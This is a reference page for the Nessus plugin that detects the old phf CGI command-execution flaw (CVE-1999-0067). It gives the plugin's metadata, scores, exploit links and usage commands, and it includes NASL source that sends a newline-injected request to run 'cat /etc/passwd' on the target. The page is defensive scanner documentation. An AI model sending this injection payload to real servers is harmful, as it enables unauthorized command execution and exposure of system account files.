Multiple Vendor phf CGI Arbitrary Command Execution - Nessus

Critical   Plugin ID: 10176

This page contains detailed information about the Multiple Vendor phf CGI Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 10176
Name: Multiple Vendor phf CGI Arbitrary Command Execution
Filename: phf.nasl
Vulnerability Published: 1996-03-20
This Plugin Published: 1999-06-22
Last Modification Time: 2021-01-19
Plugin Version: 1.37
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: find_service1.nasl, http_version.nasl, no404.nasl
Excluded KB Items [?]: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Critical
Vulnerability Published: 1996-03-20
Patch Published: N/A
CVE [?]: CVE-1999-0067
CPE [?]: N/A

Synopsis

It is possible to execute arbitrary commands on the remote host.

Description

The 'phf' CGI is installed. This CGI has a well known security flaw that lets an attacker execute arbitrary commands with the privileges of the http daemon (usually root or nobody).

Solution

Remove the CGI from /cgi-bin.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Multiple Vendor phf CGI Arbitrary Command Execution vulnerability:

  1. GitHub: https://github.com/ForAllSecure/VulnerabilitiesLab
    [CVE-1999-0067]
  2. GitHub: https://github.com/lauravoicu/Common-Vulnerabilities-Exposures
    [CVE-1999-0067]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:U/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:7.4 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.4 (High)

Go back to menu.

Plugin Source


This is the phf.nasl nessus plugin source code. This script is Copyright (C) 1999-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
 script_id(10176);
 script_version("1.37");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

 script_cve_id("CVE-1999-0067");
 script_bugtraq_id(629);
 script_xref(name:"CERT-CC", value:"CA-1996-06");

 script_name(english:"Multiple Vendor phf CGI Arbitrary Command Execution");
 script_summary(english:"Checks for the presence of /cgi-bin/phf");
 
 script_set_attribute(attribute:"synopsis", value:"It is possible to execute arbitrary commands on the remote host.");
 script_set_attribute(attribute:"description", value:
"The 'phf' CGI is installed.  This CGI has a well known security flaw
that lets an attacker execute arbitrary commands with the privileges of
the http daemon (usually root or nobody).");
 script_set_attribute(attribute:"solution", value:"Remove the CGI from /cgi-bin.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"1996/03/20");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 1999-2021 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
  exploit = string(dir, "/phf?QALIAS=x%0a/bin/cat%20/etc/passwd");

  res = http_send_recv3(port:port, method:"GET", item:exploit);
  if(isnull(res)) exit(1,"Null response for '" + exploit + "' request.");

  if(egrep(pattern:".*root:.*:0:[01]:.*", string:res[2]))
 	security_hole(port);
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/phf.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\phf.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/phf.nasl

Go back to menu.

How to Run


Here is how to run the Multiple Vendor phf CGI Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Multiple Vendor phf CGI Arbitrary Command Execution plugin ID 10176.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phf.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phf.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phf.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phf.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CERT-CC | CERT Coordination Center:
  • CA-1996-06
See also: Similar and related Nessus plugins:
  • 44937 - Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
  • 11748 - Multiple Dangerous CGI Script Detection
  • 10282 - Multiple Vendor test-cgi Arbitrary File Access
  • 80475 - Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability
  • 49217 - Multiple Switch Vendors '__super' Account Backdoor
  • 49003 - Multiple Vulnerabilities in the IOS FTP Server
  • 49017 - Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks
  • 139545 - Multiple Vulnerabilities in Treck IP Stack Affecting Cisco Products: June 2020 (cisco-sa-treck-ip-stack-JyBQ5GyC)
  • 33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
  • 11197 - Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)
  • 10821 - Multiple FTPD glob Command Arbitrary Command Execution
  • 10084 - Multiple FTP Server Command Handling Overflow
  • 123520 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 124173 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 10930 - Multiple Web Server on Windows MS/DOS Device Request Remote DOS
  • 11337 - Multiple Linux rpc.mountd Remote Overflow
  • 10249 - Multiple Mail Server EXPN/VRFY Information Disclosure
  • 40449 - Multiple Vendor HMAC Authentication SNMPv3 Authentication Bypass
  • 11136 - Multiple OS /bin/login Remote Overflow
  • 31683 - Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phf.nasl version 1.37. For more plugins, visit the Nessus Plugin Library.

Go back to menu.